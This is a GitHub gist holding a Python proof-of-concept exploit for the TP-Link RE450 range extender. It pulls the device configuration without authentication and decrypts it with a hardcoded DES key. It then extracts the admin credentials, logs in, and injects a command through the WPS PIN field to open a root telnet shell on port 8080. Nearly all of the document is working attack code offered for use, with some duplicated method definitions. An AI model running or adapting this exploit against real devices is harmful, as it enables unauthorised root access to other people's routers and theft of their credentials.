Skip to content

Instantly share code, notes, and snippets.

@DJStompZone
Created April 10, 2026 20:36
Show Gist options
  • Select an option

  • Save DJStompZone/35249c986a2d77ccf196e49abce28d6d to your computer and use it in GitHub Desktop.

Select an option

Save DJStompZone/35249c986a2d77ccf196e49abce28d6d to your computer and use it in GitHub Desktop.
TP-Link RE450 Exploit PoC
#!/usr/bin/env python3
# DJ Stomp 2026
# "No Rights Reserved"
#
# Based on eacmen's exploit for the WA850RE:
# https://gist.github.com/eacmen/9ab3d768663003f85889b5b6d2fa41a4
#
import os
import hashlib
import zlib
import json
import socket
import urllib.request
import urllib.error
import urllib.parse
import subprocess
import sys
class Exploit(object):
'''
Exploit for the TP-Link RE-450. Unauthenticated users can retrieve the device
configuration data, authenticate, and execute arbitrary commands as root.
'''
def __init__(self, host="192.168.0.254", port=80):
self.host = host
self.port = port
self.cookie = None
self.cookie = self.get_cookie()
def md5_hash(self, text):
return hashlib.md5(text.encode()).hexdigest().upper()
def wget(self, uri, post=None):
url = "http://%s:%d%s" % (self.host, self.port, uri)
headers = {
'X-Requested-With' : 'XMLHttpRequest',
'Accept' : 'application/json, text/javascript, */*; q=0.01',
'Accept-Language' : 'en-US,en;q=0.9',
'Accept-Encoding' : 'gzip, deflate',
'Connection' : 'keep-alive',
'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8',
'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
'Referer' : 'http://%s/' % self.host,
'Host' : self.host,
'Origin' : 'http://%s' % self.host,
}
if self.cookie is not None:
headers['Cookie'] = 'COOKIE=%s' % self.cookie
data = post.encode() if post else None
request = urllib.request.Request(url, data=data, headers=headers)
try:
with urllib.request.urlopen(request) as response:
resp_headers = response.info()
body = response.read()
return (resp_headers, body)
except urllib.error.URLError as e:
print(f"[-] Connection error: {e}")
raise
def get_cookie(self):
print("[+] Requesting browser cookie...")
try:
(headers, html) = self.wget("/")
cookie_header = headers.get("Set-Cookie")
if not cookie_header:
return None
cookie = cookie_header.split("COOKIE=")[1].split(";")[0]
print(f"[+] Retrieved cookie: '{cookie}'")
return cookie
except Exception as e:
print(f"[-] Failed to get cookie: {e}")
return None
def get_config(self):
tmp_dir = "/tmp" if os.path.exists("/tmp") else os.environ.get("TEMP", ".")
tmpfile = os.path.join(tmp_dir, "encrypted_config_data")
print("[+] Attempting to retrieve device configuration data...")
try:
(headers, encrypted_config_data) = self.wget("/fs/data/config.bin")
except Exception as e:
print(f"[-] Request failed: {e}")
return None
if b"<html" in encrypted_config_data.lower():
print("[-] Received HTML. The device might be patched or you're being redirected.")
return None
model_name = "Unknown"
try:
model_name = encrypted_config_data[0x18:].split(b"\x00")[0].decode('utf-8', 'ignore')
except: pass
print(f"[+] Got data ({len(encrypted_config_data)} bytes) for model: {model_name}")
with open(tmpfile, "wb") as f:
f.write(encrypted_config_data)
print("[+] Decrypting config file (attempting legacy DES)...")
base_cmd = ["openssl", "enc", "-d", "-des-ecb", "-nopad", "-K", "478DA50BF9E3D2CF", "-in", tmpfile]
legacy_cmd = base_cmd + ["-provider", "legacy", "-provider", "default"]
try:
proc = subprocess.Popen(legacy_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = proc.communicate()
if proc.returncode != 0:
proc = subprocess.Popen(base_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = proc.communicate()
except FileNotFoundError:
print("[-] Error: 'openssl' not found.")
return None
if os.path.exists(tmpfile):
os.unlink(tmpfile)
if not out:
print(f"[-] Decryption failed. Stderr: {err.decode().strip()}")
return None
print(f"[+] Decrypted size: {len(out)} bytes. Searching for zlib header...")
offset = -1
for header in [b'\x78\xda', b'\x78\x9c', b'\x78\x01']:
offset = out.find(header)
if offset != -1: break
if offset == -1:
print("[-] No zlib header found. The decryption key might be different for v2.0 hardware.")
return None
try:
decompressed_data = zlib.decompress(out[offset:])
config_data = json.loads(decompressed_data.strip(b"\x00").decode('utf-8', 'ignore'))
config_data["SYSTEM"] = {"model": model_name}
return config_data
except Exception as e:
print(f"[-] Processing error: {e}")
return None
def login(self):
config = self.get_config()
if not config:
print("[-] Login aborted: Config retrieval failed.")
return False
try:
account = config.get("ACCOUNT", {})
username = account.get("UserName")
password = account.get("Pwd")
if not username or not password:
print("[-] Could not find credentials in config JSON.")
return False
print(f"[+] Credentials found: {username} / {password}")
status = self.do_login(username=None, password=password)
if not status:
status = self.do_login(username=username, password=password)
return status
except Exception as e:
print(f"[-] Login logic error: {e}")
return False
def old_get_config(self):
tmp_dir = "/tmp" if os.path.exists("/tmp") else os.environ.get("TEMP", ".")
tmpfile = os.path.join(tmp_dir, "encrypted_config_data")
print("[+] Attempting to retrieve device configuration data...")
try:
(headers, encrypted_config_data) = self.wget("/fs/data/config.bin")
except Exception as e:
print(f"[-] Request failed: {e}")
return None
if b"<html" in encrypted_config_data.lower():
print("[-] Received HTML instead of binary config. Path might be protected or changed.")
return None
try:
model_name = encrypted_config_data[0x18:].split(b"\x00")[0].decode('utf-8', 'ignore')
except:
model_name = "Unknown"
print(f"[+] Got data ({len(encrypted_config_data)} bytes) for model: {model_name}")
if len(encrypted_config_data) < 2000:
print("[!] Warning: Data seems too small for a full config. First 32 bytes (hex):")
print(f" {encrypted_config_data[:32].hex()}")
print("[+] Decrypting config file...")
with open(tmpfile, "wb") as f:
f.write(encrypted_config_data)
cmd = ["openssl", "enc", "-d", "-des-ecb", "-nopad", "-K", "478DA50BF9E3D2CF", "-in", tmpfile]
try:
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = proc.communicate()
except FileNotFoundError:
print("[-] Error: 'openssl' command not found in PATH.")
return None
if os.path.exists(tmpfile):
os.unlink(tmpfile)
if err:
print(f"[!] OpenSSL Stderr: {err.decode().strip()}")
if not out:
print("[-] Decryption produced no output.")
return None
print(f"[+] Decrypted size: {len(out)} bytes. Searching for zlib header...")
offset = -1
for header in [b'\x78\xda', b'\x78\x9c', b'\x78\x01']:
offset = out.find(header)
if offset != -1: break
if offset == -1:
print("[-] No zlib header found. Decryption likely failed (wrong key?).")
return None
try:
decompressed_data = zlib.decompress(out[offset:])
config_data = json.loads(decompressed_data.strip(b"\x00").decode('utf-8', 'ignore'))
config_data["SYSTEM"] = {"model": model_name}
return config_data
except Exception as e:
print(f"[-] Final processing failed: {e}")
return None
def login(self):
config = self.get_config()
if not config:
print("[-] Cannot proceed with login: No config data retrieved.")
return False
try:
username = config.get("ACCOUNT", {}).get("UserName")
password = config.get("ACCOUNT", {}).get("Pwd")
if not username or not password:
print("[-] Config parsed but 'ACCOUNT' credentials not found.")
return False
print(f"[+] Credentials found: {username} / {password}")
status = self.do_login(username=None, password=password)
if not status:
status = self.do_login(username=username, password=password)
return status
except Exception as e:
print(f"[-] Login error: {e}")
return False
def do_login(self, username=None, password=None):
if username is not None:
encoded = username + '%3A' + self.md5_hash(password + ':' + self.cookie)
else:
encoded = self.md5_hash(password + ':' + self.cookie)
post_data = f"operation=login&encoded={encoded}&nonce={self.cookie}"
(headers, json_data) = self.wget("/data/login.json", post_data)
response = json.loads(json_data.decode())
return response.get("success", False)
def login(self):
status = False
config = self.get_config()
username = config["ACCOUNT"]["UserName"]
password = config["ACCOUNT"]["Pwd"]
print(f"[+] Admin username: '{username}'")
print(f"[+] Admin password (MD5): '{password}'")
try:
print("[+] Attempting login with password only...")
status = self.do_login(username=None, password=password)
except (ValueError, KeyError):
pass
if not status:
try:
print("[+] Attempting login with username and password...")
status = self.do_login(username=username, password=password)
except (ValueError, KeyError):
pass
return status
def enable_telnetd(self):
return self.command("telnetd -l /bin/sh -p 8080")
def command(self, command):
cmd_payload = command.replace(' ', '${IFS}')
post_data = f"operation=write&option=connect&wps_setup_pin=12345670;{cmd_payload}"
if self.login():
print(f'[+] Attempting to execute "{command}"...')
(headers, json_data) = self.wget("/data/wps.setup.json", post_data)
response = json.loads(json_data.decode())
return response.get('success', False)
else:
print("[-] Login failed :(")
return False
if __name__ == '__main__':
ip = '192.168.0.254'
port = 80
if len(sys.argv) > 1:
host = sys.argv[1]
if "://" in host:
host = host.split("://")[1].strip("/")
if ':' in host:
parts = host.split(':')
ip = parts[0]
port = int(parts[1])
else:
ip = host
else:
print(f"Usage: {sys.argv[0]} ip:port")
sys.exit(1)
exploit = Exploit(ip, port)
if exploit.enable_telnetd():
print("[+] Successful!")
else:
print("[-] Failed :(")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment